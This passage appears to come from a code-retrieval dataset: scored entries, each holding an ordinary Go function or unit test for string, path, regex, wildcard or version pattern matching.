"c32b86d54f45d970dd7b341e42fa2a74", "score": "0.48425317", "text": "func externMatch(str string, pattern string) bool {\n\tif strings.HasSuffix(pattern, \"*\") {\n\t\treturn strings.HasPrefix(str, pattern[:len(pattern)-1])\n\t}\n\tif strings.HasPrefix(pattern, \"*\") {\n\t\treturn strings.HasSuffix(str, pattern[1:])\n\t}\n\n\treturn str == pattern\n}", "title": "" }, { "docid": "87ca0b6ad6848548dee97bed67f2e26e", "score": "0.48361337", "text": "func TestGrepCommand_escapeDots(t *testing.T) {\n\t// fmt the files\n\tb := &bytes.Buffer{}\n\tr := commands.GetGrepRunner(\"\")\n\tr.Command.SetArgs([]string{\"spec.template.spec.containers[name=nginx].image=nginx:1\\\\.7\\\\.9\",\n\t\t\"--annotate=false\"})\n\tr.Command.SetOut(b)\n\tr.Command.SetIn(bytes.NewBufferString(`\nkind: Deployment\nmetadata:\n labels:\n app: nginx1.8\n name: nginx1.8\n annotations:\n app: nginx1.8\nspec:\n replicas: 1\n template:\n spec:\n containers:\n - name: nginx\n image: nginx:1.8.1\n---\nkind: Deployment\nmetadata:\n labels:\n app: nginx1.7\n name: nginx1.7\n annotations:\n app: nginx1.7\nspec:\n replicas: 1\n template:\n spec:\n containers:\n - name: nginx\n image: nginx:1.7.9\n`))\n\terr := r.Command.Execute()\n\tif !assert.NoError(t, err) {\n\t\treturn\n\t}\n\tif !assert.Equal(t, `kind: Deployment\nmetadata:\n labels:\n app: nginx1.7\n name: nginx1.7\n annotations:\n app: nginx1.7\nspec:\n replicas: 1\n template:\n spec:\n containers:\n - name: nginx\n image: nginx:1.7.9\n`, b.String()) {\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "1a02dcbfc799002f34a6abb63976947c", "score": "0.48328558", "text": "func (builder *CommandPropsBuilder) MatchPattern(pattern *regexp.Regexp) *CommandPropsBuilder {\n\tbuilder.props.matchFunc = func(input Input) bool {\n\t\treturn pattern.MatchString(input.Message())\n\t}\n\treturn builder\n}", "title": "" }, { "docid": "97a7041e1f7523f1f6385f9568d7da73", "score": "0.48323137", "text": "func (c *cmdList) dotPrefixMatch(short string, full string) bool {\n\tfullMembs := strings.Split(full, \".\")\n\tshortMembs := strings.Split(short, \".\")\n\n\tif len(fullMembs) != len(shortMembs) {\n\t\treturn false\n\t}\n\n\tfor i := range fullMembs {\n\t\tif !strings.HasPrefix(fullMembs[i], shortMembs[i]) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "dbefaac7125b686b92c6c042d032f18f", "score": "0.478172", "text": "func wildcardMatch(hasNames map[string]struct{}, cert Certificate, names []string) bool {\n\t// strip the leading * from names of the form *<domain>[:ext]*\n\tdomainAndExt := cert.Extension[1:]\n\tfound := false\n\tfor _, name := range names {\n\t\tif host := strings.TrimSuffix(name, domainAndExt); len(host) > 0 && host != name {\n\t\t\tif !strings.ContainsRune(host, '.') { // wildcard certs allow only one level of host\n\t\t\t\t// name is of the form <host><domain>[:ext]* so include it as a match.\n\t\t\t\thasNames[name] = struct{}{}\n\t\t\t\tfound = true\n\t\t\t}\n\t\t}\n\t}\n\treturn found\n}", "title": "" }, { "docid": "df369446fd9fcc3d60dd3db73edb3c51", "score": "0.4777142", "text": "func MatchesPattern(email string, pattern *regexp.Regexp) bool {\n\tif email == \"\" {\n\t\treturn false \n\t}\n\tif !pattern.MatchString(email) {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "41b303fcebf648a5e0b06a5e3868909d", "score": "0.4775722", "text": "func selectorMatch(pattern, selector string) bool {\n\tif len(pattern) == 0 {\n\t\t// should not happen\n\t\treturn false\n\t}\n\tn := len(pattern)\n\tif pattern[n-1] != '/' {\n\t\treturn pattern == selector\n\t}\n\treturn len(selector) >= n && selector[0:n] == pattern\n}", "title": "" }, { "docid": "31372f1069f0278f851d3ed3aea72a5b", "score": "0.47664356", "text": "func VersionMatches(ctx *gcp.Context, versionRange string) bool {\n\tv := GoModVersion(ctx)\n\tif v == \"\" {\n\t\treturn false\n\t}\n\n\tversion, err := semver.ParseTolerant(v)\n\tif err != nil {\n\t\tctx.Exit(1, gcp.InternalErrorf(\"unable to parse go.mod version string %q: %s\", v, err))\n\t}\n\n\tgoVersionMatches, err := semver.ParseRange(versionRange)\n\tif err != nil {\n\t\tctx.Exit(1, gcp.InternalErrorf(\"unable to parse version range %q: %s\", v, err))\n\t}\n\n\tif !goVersionMatches(version) {\n\t\treturn false\n\t}\n\n\tv = GoVersion(ctx)\n\n\tversion, err = semver.ParseTolerant(v)\n\tif err != nil {\n\t\tctx.Exit(1, gcp.InternalErrorf(\"unable to parse Go version string %q: %s\", v, err))\n\t}\n\n\treturn goVersionMatches(version)\n}", "title": "" }, { "docid": "9e7df57275926decf2c05ca67c3fcab6", "score": "0.47617248", "text": "func (hl *HostMatchList) AppendPattern(pattern string) {\n\thl.patterns = append(hl.patterns, pattern)\n}", "title": "" }, { "docid": "dc8b6f9c8529197abf02d5a9eb08e59c", "score": "0.4745104", "text": "func whereLabelMatches(label, pattern string, in interface{}) ([]interface{}, error) {\n\trx, err := regexp.Compile(pattern)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn whereLabel(\"whereLabelMatches\", in, label, func(value string, ok bool) bool {\n\t\treturn ok && rx.MatchString(value)\n\t})\n}", "title": "" }, { "docid": "25d924213595732cf3cf4b71a3692cb3", "score": "0.473693", "text": "func stringMatchesPattern(patternparts []string, testString string) bool {\n\tif len(patternparts) == 0 {\n\t\treturn len(testString) == 0\n\t}\n\n\tpart := patternparts[0]\n\tif part != \"*\" {\n\t\tindex := strings.Index(testString, part)\n\t\tif index == 0 {\n\t\t\treturn stringMatchesPattern(patternparts[1:], testString[len(part):])\n\t\t}\n\t} else {\n\t\tif len(patternparts) == 1 {\n\t\t\treturn true\n\t\t}\n\n\t\tnewTestString := testString\n\t\tpart = patternparts[1]\n\t\tfor {\n\t\t\tindex := strings.Index(newTestString, part)\n\t\t\tif index == -1 {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tnewTestString = newTestString[index+len(part):]\n\t\t\tresult := stringMatchesPattern(patternparts[2:], newTestString)\n\t\t\tif result {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "009f5290b176e54f7ab4ef249e1438ec", "score": "0.47307816", "text": "func TestMatchNetPipe(t *testing.T) {\n\tRegisterTestingT(t)\n\n\taddr := &core.Address{Address: &core.Address_Pipe{Pipe: &core.Pipe{Path: \"/tmp/t.sock\"}}}\n\tnets := []string{\"192.168.0.0/16\"}\n\tExpect(matchNet(\"test\", nets, addr)).To(BeFalse())\n}", "title": "" }, { "docid": "c2c6a0b4ccef00af7008762cf8d57398", "score": "0.47254893", "text": "func segmentExp(pattern string) *regexp.Regexp {\n\t// custom regexp pattern.\n\tif strings.HasPrefix(pattern, \"{re:\") {\n\t\treturn regexp.MustCompile(pattern[4 : len(pattern)-1])\n\t}\n\n\t// turn \"*\" => \"{wild}\"\n\tpattern = strings.Replace(pattern, \"*\", `{wild}`, -1)\n\t// any: catch-all pattern\n\tp := regexp.MustCompile(`\\{\\w+\\}`).\n\t\tReplaceAllStringFunc(pattern, func(m string) string {\n\t\t\treturn fmt.Sprintf(`(?P<%s>.+)`, m[1:len(m)-1])\n\t\t})\n\t// word: matches an alphanumeric word, with underscores.\n\tp = regexp.MustCompile(`\\{(?:word\\:)\\w+\\}`).\n\t\tReplaceAllStringFunc(p, func(m string) string {\n\t\t\treturn fmt.Sprintf(`(?P<%s>\\w+)`, m[6:len(m)-1])\n\t\t})\n\t// date: matches a date as described in ISO 8601. see: https://en.wikipedia.org/wiki/ISO_8601\n\t// accepted values:\n\t// \tYYYY\n\t// \tYYYY-MM\n\t// \tYYYY-MM-DD\n\t// \tYYYY-MM-DDTHH\n\t// \tYYYY-MM-DDTHH:MM\n\t// \tYYYY-MM-DDTHH:MM:SS[.NN]\n\t// \tYYYY-MM-DDTHH:MM:SS[.NN]Z\n\t// \tYYYY-MM-DDTHH:MM:SS[.NN][+-]HH\n\t// \tYYYY-MM-DDTHH:MM:SS[.NN][+-]HH:MM\n\t//\n\tp = regexp.MustCompile(`\\{(?:date\\:)\\w+\\}`).\n\t\tReplaceAllStringFunc(p, func(m string) string {\n\t\t\tname := m[6 : len(m)-1]\n\t\t\treturn fmt.Sprintf(`(?P<%[1]s>(`+\n\t\t\t\t`(?P<%[1]s_year>\\d{4})([/-]?`+\n\t\t\t\t`(?P<%[1]s_mon>(0[1-9])|(1[012]))([/-]?`+\n\t\t\t\t`(?P<%[1]s_mday>(0[1-9])|([12]\\d)|(3[01])))?)?`+\n\t\t\t\t`(?:T(?P<%[1]s_hour>([01][0-9])|(?:2[0123]))(\\:?(?P<%[1]s_min>[0-5][0-9])(\\:?(?P<%[1]s_sec>[0-5][0-9]([\\,\\.]\\d{1,10})?))?)?(?:Z|([\\-+](?:([01][0-9])|(?:2[0123]))(\\:?(?:[0-5][0-9]))?))?)?`+\n\t\t\t\t`))`, name)\n\t\t})\n\t// geo: geo location in decimal. See http://tools.ietf.org/html/rfc5870\n\t// accepted values:\n\t// \tlat,lon (point)\n\t// \tlat,lon,alt (3d point)\n\t// \tlag,lon;u=unc (circle)\n\t// \tlat,lon,alt;u=unc (sphere)\n\t// \tlat,lon;crs=name (point with coordinate reference system (CRS) value)\n\tp = regexp.MustCompile(`\\{(?:geo\\:)\\w+\\}`).ReplaceAllStringFunc(p, func(m string) string {\n\t\tname := m[5 : len(m)-1]\n\t\treturn fmt.Sprintf(`(?P<%[1]s_lat>\\-?\\d+(\\.\\d+)?)[,;]`+\n\t\t\t`(?P<%[1]s_lon>\\-?\\d+(\\.\\d+)?)([,;]`+\n\t\t\t`(?P<%[1]s_alt>\\-?\\d+(\\.\\d+)?))?(((?:;crs=)`+\n\t\t\t`(?P<%[1]s_crs>[\\w\\-]+))?((?:;u=)`+\n\t\t\t`(?P<%[1]s_u>\\-?\\d+(\\.\\d+)?))?)?`, name)\n\t})\n\t// hex: matches a hexadecimal number.\n\t// accepted value: 0xNN\n\tp = regexp.MustCompile(`\\{(?:hex\\:)\\w+\\}`).\n\t\tReplaceAllStringFunc(p, func(m string) string {\n\t\t\treturn fmt.Sprintf(`(?P<%s>(?:0x)?[[:xdigit:]]+)`, m[5:len(m)-1])\n\t\t})\n\t// uuid: matches an UUID using hex octets, with optional dashes.\n\t// accepted value: NNNNNNNN-NNNN-NNNN-NNNN-NNNNNNNNNNNN\n\tp = regexp.MustCompile(`\\{(?:uuid\\:)\\w+\\}`).\n\t\tReplaceAllStringFunc(p, func(m string) string {\n\t\t\treturn fmt.Sprintf(`(?P<%s>[[:xdigit:]]{8}\\-?`+\n\t\t\t\t`[[:xdigit:]]{4}\\-?`+\n\t\t\t\t`[[:xdigit:]]{4}\\-?`+\n\t\t\t\t`[[:xdigit:]]{4}\\-?`+\n\t\t\t\t`[[:xdigit:]]{12})`, m[6:len(m)-1])\n\t\t})\n\t// float: matches a floating-point number\n\tp = regexp.MustCompile(`\\{(?:float\\:)\\w+\\}`).\n\t\tReplaceAllStringFunc(p, func(m string) string {\n\t\t\treturn fmt.Sprintf(`(?P<%s>[\\-+]?\\d+\\.\\d+)`, m[7:len(m)-1])\n\t\t})\n\t// uint: matches an unsigned integer number (64bit)\n\tp = regexp.MustCompile(`\\{(?:uint\\:)\\w+\\}`).\n\t\tReplaceAllStringFunc(p, func(m string) string {\n\t\t\treturn fmt.Sprintf(`(?P<%s>\\d{1,18})`, m[6:len(m)-1])\n\t\t})\n\t// int: matches a signed integer number (64bit)\n\tp = regexp.MustCompile(`\\{(?:int\\:)\\w+\\}`).\n\t\tReplaceAllStringFunc(p, func(m string) string {\n\t\t\treturn fmt.Sprintf(`(?P<%s>[-+]?\\d{1,18})`, m[5:len(m)-1])\n\t\t})\n\treturn regexp.MustCompile(p)\n}", "title": "" }, { "docid": "a84a170fd668ee1119933fd1c1552fdc", "score": "0.4725206", "text": "func (r Range) Match(v Version) bool {\n\t// major\n\tif r.Major != \"*\" {\n\t\tn, _ := strconv.ParseUint(r.Major, 10, 64)\n\t\tif v.Major != int(n) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\t// minor\n\tif r.Minor != \"*\" {\n\t\tn, _ := strconv.ParseUint(r.Minor, 10, 64)\n\t\tif v.Minor != int(n) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\t// patch\n\tif r.Patch != \"*\" {\n\t\tn, _ := strconv.ParseUint(r.Patch, 10, 64)\n\t\tif v.Patch != int(n) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "e39af601dd3e2702daeef3f3ec84a771", "score": "0.47166377", "text": "func Match(buf string, pat func(byte) bool, times int) (match string, rest string, err error) {\n\tvar i int\n\tfor i < len(buf) && pat(buf[i]) {\n\t\ti++\n\t}\n\tif i < times {\n\t\treturn \"\", buf, ErrPatternNotMatch\n\t}\n\treturn buf[:i], buf[i:], nil\n}", "title": "" }, { "docid": "440382d01a0e544196de82640a9604bf", "score": "0.47078052", "text": "func TestSplitQuotaRe(t *testing.T) {\n\ttt := []struct {\n\t\tin string\n\t\tshouldMatch bool\n\t}{\n\t\t{\"service/resource=123.456Unit\", true},\n\t\t{\"service/resource-=123.456Unit\", true},\n\t\t{\"service/resource+=123.456Unit\", true},\n\t\t{\"service/resource*=123.456Unit\", true},\n\t\t{\"service/resource/=123.456Unit\", true},\n\n\t\t{\"service/resource:123.456Unit\", false},\n\t\t{\"service/resource+123.456Unit\", false},\n\t\t{\"service/resource-123.456Unit\", false},\n\t\t{\"service/resource*123.456Unit\", false},\n\t\t{\"service/resource/123.456Unit\", false},\n\t}\n\n\tfor _, tc := range tt {\n\t\tif match := splitQuotaRe.MatchString(tc.in); match != tc.shouldMatch {\n\t\t\tif tc.shouldMatch {\n\t\t\t\tt.Errorf(\"%q did not match the regular expression. Was expected to match.\\n\", tc.in)\n\t\t\t} else {\n\t\t\t\tt.Errorf(\"%q matched the regular expression. Was expected not to match.\\n\", tc.in)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0958c818c7713510e18320bd857dbe2d", "score": "0.46810448", "text": "func (p *PathSpec) Match(req *http.Request) *http.Request {\n\tif p.methods != nil {\n\t\tif _, ok := p.methods[req.Method]; !ok {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\t// Check Path\n\tctx := req.Context()\n\tpath := Path(ctx)\n\tvar scratch []string\n\tif p.wildcard {\n\t\tscratch = make([]string, len(p.specs)+1)\n\t} else if len(p.specs) > 0 {\n\t\tscratch = make([]string, len(p.specs))\n\t}\n\n\tfor i := range p.specs {\n\t\tsli := p.literals[i]\n\t\tif !strings.HasPrefix(path, sli) {\n\t\t\treturn nil\n\t\t}\n\t\tpath = path[len(sli):]\n\n\t\tm := 0\n\t\tbc := p.breaks[i]\n\t\tfor ; m < len(path); m++ {\n\t\t\tif path[m] == bc || path[m] == '/' {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif m == 0 {\n\t\t\t// Empty strings are not matches, otherwise routes like \"/:foo\"\n\t\t\t// would match the path \"/\"\n\t\t\treturn nil\n\t\t}\n\n\t\tscratch[i], path = path[:m], path[m:]\n\t}\n\n\t// There's exactly one more literal than pat.\n\ttail := p.literals[len(p.specs)]\n\tif p.wildcard {\n\t\tif !strings.HasPrefix(path, tail) {\n\t\t\treturn nil\n\t\t}\n\t\tscratch[len(p.specs)] = path[len(tail)-1:]\n\t} else if path != tail {\n\t\treturn nil\n\t}\n\n\tfor i := range p.specs {\n\t\tvar err error\n\t\tscratch[i], err = unescape(scratch[i])\n\t\tif err != nil {\n\t\t\t// If we encounter an encoding error here, there's really not much\n\t\t\t// we can do about it with our current API, and I'm not really\n\t\t\t// interested in supporting clients that misencode URLs anyways.\n\t\t\treturn nil\n\t\t}\n\t}\n\n\treturn req.WithContext(&matchContext{ctx, p, scratch})\n}", "title": "" }, { "docid": "5f61931191e62069d406b82c55bb45ef", "score": "0.46719962", "text": "func matchPattern(input string) Result {\n\tg, _ := grok.NewWithConfig(&grok.Config{NamedCapturesOnly: true})\n\tvalues, err := g.Parse(grokPattern, input)\n\tif err != nil {\n\t\treturn Result{}\n\t}\n\tvar res Result\n\tfor k, v := range values {\n\t\t// trimming the unnecassary stuff\n\t\tv = strings.Replace(v, \" \", \"\", -1)\n\t\tv = strings.Replace(v, \"\\r\", \"\", -1)\n\n\t\tif k == \"operation\" {\n\t\t\tres.Operation = v\n\t\t}\n\t\tif k == \"filepath\" {\n\t\t\tres.Filename = v\n\t\t}\n\t\tif k == \"lineNumber\" {\n\t\t\tnum, _ := strconv.Atoi(v)\n\t\t\tres.LineNumber = num\n\t\t}\n\t\tif k == \"functionName\" {\n\t\t\tif v == \"0\" {\n\t\t\t\tres.Name = \"anonymous\"\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tres.Name = v\n\t\t}\n\t}\n\treturn res\n}", "title": "" }, { "docid": "254088e3e5dc36d499341edc81ad431e", "score": "0.46664262", "text": "func (r Ref) Matches(pattern string) bool {\n\treturn r.Name == pattern || strings.HasSuffix(r.Name, \"/\"+pattern)\n}", "title": "" }, { "docid": "6c4898bc75e073d2cad91cdfde79ee20", "score": "0.46606126", "text": "func TestQuotaValueRe(t *testing.T) {\n\ttt := []struct {\n\t\tin string\n\t\tshouldMatch bool\n\t}{\n\t\t{\"123456\", true},\n\t\t{\"123456Unit\", true},\n\t\t{\"123.456\", true},\n\t\t{\"123.456Unit\", true},\n\t\t{\"0.456\", true},\n\t\t{\"0.456Unit\", true},\n\t\t{\".456\", true},\n\t\t{\".456Unit\", true},\n\n\t\t{\"123456Un1t\", false},\n\t\t{\"123456Un-t\", false},\n\t\t{\"123a456Unit\", false},\n\t\t{\"123456-Unit\", false},\n\t\t{\"+123456Unit\", false},\n\t}\n\n\tfor _, tc := range tt {\n\t\tif match := quotaValueRe.MatchString(tc.in); match != tc.shouldMatch {\n\t\t\tif tc.shouldMatch {\n\t\t\t\tt.Errorf(\"%q did not match the regular expression. Was expected to match.\\n\", tc.in)\n\t\t\t} else {\n\t\t\t\tt.Errorf(\"%q matched the regular expression. Was expected not to match.\\n\", tc.in)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "aeffce2f778c1f275652e0459a4fe4b6", "score": "0.46545824", "text": "func ParseResourcePattern(pattern string) ResourcePattern {\n\tp := ResourcePattern{\n\t\tpattern: pattern,\n\t}\n\n\tplen := len(pattern)\n\tif plen == 0 {\n\t\treturn ResourcePattern{}\n\t}\n\n\tvar c byte\n\ttcount := 0\n\toffset := 0\n\thasWild := false\n\tfor i := 0; i <= plen; i++ {\n\t\tif i == plen {\n\t\t\tc = btsep\n\t\t} else {\n\t\t\tc = pattern[i]\n\t\t}\n\n\t\tswitch c {\n\t\tcase btsep:\n\t\t\t// Empty tokens are invalid\n\t\t\tif offset == i {\n\t\t\t\treturn ResourcePattern{}\n\t\t\t}\n\t\t\tif hasWild {\n\t\t\t\tif i-offset > 1 {\n\t\t\t\t\treturn ResourcePattern{}\n\t\t\t\t}\n\t\t\t\thasWild = false\n\t\t\t}\n\t\t\toffset = i + 1\n\t\t\ttcount++\n\t\tcase pwc:\n\t\t\tp.hasWild = true\n\t\t\thasWild = true\n\t\tcase fwc:\n\t\t\t// If wildcard isn't the last char\n\t\t\tif i < plen-1 {\n\t\t\t\treturn ResourcePattern{}\n\t\t\t}\n\t\t\tp.hasWild = true\n\t\t\thasWild = true\n\t\t}\n\t}\n\n\treturn p\n}", "title": "" }, { "docid": "797e03c2e507da4a912d1926f40473a3", "score": "0.46521336", "text": "func TestMatch(t *testing.T) {\n\tfor _, tt := range matchTests {\n\t\tpattern := tt.pattern\n\t\ts := tt.s\n\t\tif runtime.GOOS == \"windows\" {\n\t\t\tif strings.Index(pattern, \"\\\\\") >= 0 {\n\t\t\t\t// no escape allowed on windows.\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tpattern = filepath.Clean(pattern)\n\t\t\ts = filepath.Clean(s)\n\t\t}\n\t\tok, err := regexpMatch(pattern, s)\n\t\tif ok != tt.match || err != tt.err {\n\t\t\tt.Fatalf(\"Match(%#q, %#q) = %v, %q want %v, %q\", pattern, s, ok, errp(err), tt.match, errp(tt.err))\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ee898b8c631b1d509a39ea6912000007", "score": "0.4652069", "text": "func (c Provider) Match(query string) (params []string) {\n\tif sm := TarballRegex.FindStringSubmatch(query); len(sm) > 1 {\n\t\tpieces := strings.Split(sm[1], \"-\")\n\t\tif len(pieces) > 2 {\n\t\t\tparams = append(params, strings.Join(pieces[0:len(pieces)-1], \"-\"))\n\t\t\treturn\n\t\t}\n\t\tparams = append(params, pieces[0])\n\t}\n\treturn\n}", "title": "" }, { "docid": "4b286f1c492b6dfe0b91b91ebcdab22b", "score": "0.46424735", "text": "func IsDigitWithPercent(str string) bool {\n\tif (IsDigit(str[0 : len(str)-1])) == false {\n\t\treturn false\n\t}\n\tif (str[len(str)-1:]) == \"%\" {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "7643272ba985d0018f7eeea2c47b57fb", "score": "0.4640403", "text": "func match(pattern string, fileName string) bool {\n\tif pattern == \"\" {\n\t\tfmt.Println(\"Pattern parameter cannot be blank\")\n\t\treturn false\n\t}\n\tif fileName == \"\" {\n\t\tfmt.Println(\"Filename parameter cannot be blank\")\n\t\treturn false\n\t}\n\tresult, err := regexp.Match(pattern, []byte(fileName))\n\tif err != nil {\n\t\tfmt.Println(\"It was impossible to evaluate\", fileName, \"using pattern\", pattern, \"due to\", err)\n\t\treturn false\n\t}\n\treturn result\n}", "title": "" }, { "docid": "925baff196d4ce9c2c924116b86bcb48", "score": "0.46375474", "text": "func (p *path) parsePattern(pattern string) {\n\tparse(&p.pattern, pattern)\n}", "title": "" }, { "docid": "3231a04b40543a44274d784bbe647df0", "score": "0.4630003", "text": "func TestMatch(t *testing.T) {\n\tassert := func(p, s string) {\n\t\tif !fnmatch.Match(p, s, 0) {\n\t\t\tt.Errorf(\"Assertion failed: Match(%#v, %#v, 0)\", p, s)\n\t\t}\n\t}\n\tassert(\"\", \"\")\n\tassert(\"*\", \"\")\n\tassert(\"*\", \"foo\")\n\tassert(\"*\", \"bar\")\n\tassert(\"*\", \"*\")\n\tassert(\"**\", \"f\")\n\tassert(\"**\", \"foo.txt\")\n\tassert(\"*.*\", \"foo.txt\")\n\tassert(\"foo*.txt\", \"foobar.txt\")\n\tassert(\"foo.txt\", \"foo.txt\")\n\tassert(\"foo\\\\.txt\", \"foo.txt\")\n\tif fnmatch.Match(\"foo\\\\.txt\", \"foo.txt\", fnmatch.FNM_NOESCAPE) {\n\t\tt.Errorf(\"Assertion failed: Match(%#v, %#v, FNM_NOESCAPE) == false\", \"foo\\\\.txt\", \"foo.txt\")\n\t}\n}", "title": "" }, { "docid": "193800f54ada539b4fb1a1beda6cc3b2", "score": "0.4629056", "text": "func matchWithWildcards(s0 string, s1 string) bool {\n\tif strings.HasSuffix(s1, \"*\") {\n\t\treturn strings.HasPrefix(s0, s1[:len(s1)-1])\n\t}\n\tif strings.HasPrefix(s1, \"*\") {\n\t\treturn strings.HasSuffix(s0, s1[1:])\n\t}\n\treturn s0 == s1\n}", "title": "" }, { "docid": "aab6d110fe5410fa5472f2ad537f5bce", "score": "0.4628111", "text": "func match(filename string) (*matchResult, error) {\n\t// \"birthday\", \"001\", \"txt\"\n\tpieces := strings.Split(filename, \".\")\n\text := pieces[len(pieces)-1]\n\ttmp := strings.Join(pieces[0:len(pieces)-1], \".\")\n\tpieces = strings.Split(tmp, \"_\")\n\tname := strings.Join(pieces[0:len(pieces)-1], \"_\")\n\tnumber, err := strconv.Atoi(pieces[len(pieces)-1])\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%s didn't match our pattern\", filename)\n\t}\n\treturn &matchResult{strings.Title(name), number, ext}, nil\n}", "title": "" }, { "docid": "8349b86607598511a9de10dfea4d2b1e", "score": "0.46266446", "text": "func test(pattern string, s string) (isMatch bool) {\n match, err := regexp.MatchString(pattern, s)\n if err != nil {\n return false\n }\n return match\n}", "title": "" }, { "docid": "cbd601d8ad9c4fee1db58d7f106fd99a", "score": "0.46228826", "text": "func match(segments []string, url string, ps *Params, ts bool) bool {\n\tfor _, segment := range segments {\n\t\tif len(url) == 0 {\n\t\t\treturn false\n\t\t} else if segment[1] == ':' {\n\t\t\tend := 1\n\t\t\tfor end < len(url) && url[end] != '/' {\n\t\t\t\tend++\n\t\t\t}\n\t\t\tps.push(segment[2:], url[1:end])\n\t\t\turl = url[end:]\n\t\t} else if segment[1] == '*' {\n\t\t\tps.push(segment[2:], url)\n\t\t\treturn true\n\t\t} else if len(url) < len(segment) {\n\t\t\treturn false\n\t\t} else if url[:len(segment)] == segment {\n\t\t\turl = url[len(segment):]\n\t\t} else {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn (!ts && url == \"\") || (ts && url == \"/\") // match trailing slash\n}", "title": "" }, { "docid": "7720dbd74a995710a0593baccf2dafff", "score": "0.46148008", "text": "func getSearchQueryFromURLPattern(patternName, stringToMatch string) string {\n\tpattern := knownURLs[patternName]\n\t// TODO : handle case for 0 matches\n\tmatch := pattern.compiledRegex.FindStringSubmatch(stringToMatch)\n\tresult := make(map[string]string)\n\t// result will hold key-value for groupName to its value\n\t// e.g> \"domain\": \"demo.almighty.io\", \"id\": 200\n\tfor i, name := range pattern.groupNamesInRegex {\n\t\tif i == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif i > len(match)-1 {\n\t\t\tresult[name] = \"\"\n\t\t} else {\n\t\t\tresult[name] = match[i]\n\t\t}\n\t}\n\t// first value from FindStringSubmatch is always full input itself, hence ignored\n\t// Join rest of the tokens to make query like \"demo.almighty.io/work-item/list/detail/100\"\n\tif len(match) > 1 {\n\t\tsearchQueryString := strings.Join(match[1:], \"\")\n\t\tsearchQueryString = strings.Replace(searchQueryString, \":\", \"\\\\:\", -1)\n\t\t// need to escape \":\" because this string will go as an input to tsquery\n\t\tsearchQueryString = fmt.Sprintf(\"%s:*\", searchQueryString)\n\t\tif result[\"id\"] != \"\" {\n\t\t\t// Look for pattern's ID field, if exists update searchQueryString\n\t\t\t// `*A` is used to add sme weight to the work item number in the search results.\n\t\t\t// See https://www.postgresql.org/docs/9.6/static/textsearch-controls.html\n\t\t\tsearchQueryString = fmt.Sprintf(\"(%v:*A | %v)\", result[\"id\"], searchQueryString)\n\t\t\t// searchQueryString = \"(\" + result[\"id\"] + \":*\" + \" | \" + searchQueryString + \")\"\n\t\t}\n\t\treturn searchQueryString\n\t}\n\treturn match[0] + \":*\"\n}", "title": "" }, { "docid": "2213cd83dc8b275a30238ff851ab02d6", "score": "0.46135348", "text": "func Match(pattern, name string) (matched bool) {\n\tif pattern == \"\" {\n\t\treturn name == pattern\n\t}\n\n\tif pattern == \"*\" {\n\t\treturn true\n\t}\n\t// Does extended wildcard '*' and '?' match.\n\treturn deepMatchRune([]rune(name), []rune(pattern), false)\n}", "title": "" }, { "docid": "bafaaeaae20301f394645ea096de1bd3", "score": "0.46079445", "text": "func match(got string, pattern interface{}, msg string, note func(key string, value interface{})) error {\n\tif actualRegex, ok := pattern.(*regexp.Regexp); ok {\n\t\tif actualRegex.MatchString(got) {\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.New(msg)\n\t}\n\tregex, ok := pattern.(string)\n\tif !ok {\n\t\tnote(\"regexp\", pattern)\n\t\treturn BadCheckf(\"regexp is not a string\")\n\t}\n\tmatches, err := regexp.MatchString(\"^(\"+regex+\")$\", got)\n\tif err != nil {\n\t\tnote(\"regexp\", regex)\n\t\treturn BadCheckf(\"cannot compile regexp: %s\", err)\n\t}\n\tif matches {\n\t\treturn nil\n\t}\n\treturn errors.New(msg)\n}", "title": "" }, { "docid": "611dfd2f9010b3030cec5a672f1e8202", "score": "0.4605363", "text": "func validateServiceWithPattern(service common.AbstractServiceFile, pattern common.AbstractPatternFile, msgPrinter *message.Printer) error {\n\t// get default message printer if nil\n\tif msgPrinter == nil {\n\t\tmsgPrinter = i18n.GetMessagePrinter()\n\t}\n\n\tif pattern.GetServices() == nil {\n\t\treturn nil\n\t}\n\n\tfound := false\n\tfor _, sref := range pattern.GetServices() {\n\t\tif service.GetURL() == sref.ServiceURL && service.GetOrg() == sref.ServiceOrg && (sref.ServiceArch == \"\" || sref.ServiceArch == \"*\" || service.GetArch() == sref.ServiceArch) {\n\t\t\tfor _, v := range sref.ServiceVersions {\n\t\t\t\tif service.GetVersion() == v.Version {\n\t\t\t\t\tfound = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif found {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif found {\n\t\treturn nil\n\t} else {\n\t\treturn fmt.Errorf(msgPrinter.Sprintf(\"The service does not match any services in the pattern.\"))\n\t}\n}", "title": "" }, { "docid": "6f8ea82290a5efbcda1f1d4bd78afe8a", "score": "0.45921528", "text": "func TestMatches(t *testing.T) {\n\ttests := []struct {\n\t\tpattern string\n\t\ttext string\n\t\tpass bool\n\t}{\n\t\t{\"**\", \"file\", true},\n\t\t{\"**\", \"file/\", true},\n\t\t{\"**/\", \"file\", true}, // weird one\n\t\t{\"**/\", \"file/\", true},\n\t\t{\"**\", \"/\", true},\n\t\t{\"**/\", \"/\", true},\n\t\t{\"**\", \"dir/file\", true},\n\t\t{\"**/\", \"dir/file\", false},\n\t\t{\"**\", \"dir/file/\", true},\n\t\t{\"**/\", \"dir/file/\", 